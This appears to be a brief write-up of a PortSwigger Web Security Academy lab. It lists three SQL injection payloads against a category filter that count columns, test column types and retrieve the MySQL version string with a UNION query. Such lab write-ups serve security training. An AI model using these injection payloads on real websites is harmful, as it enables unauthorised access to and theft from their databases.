Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft

Posted on | Post modified | In |

Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft

tags: Portswigger Web Security Academy Web
  • Description: his lab contains a SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query.
  • Goal: To solve the lab, display the database version string.

Exp

  1. Consider # of column

    Payload: ?category=Accessories' union select NULL,NULL -- #

  2. Consider column type

    Payload: ?category=Accessories' union select 'a','a' -- # Both of them contained text.

  3. Attack

    Payload: ?category=Accessories' union select 'abc',@@version -- #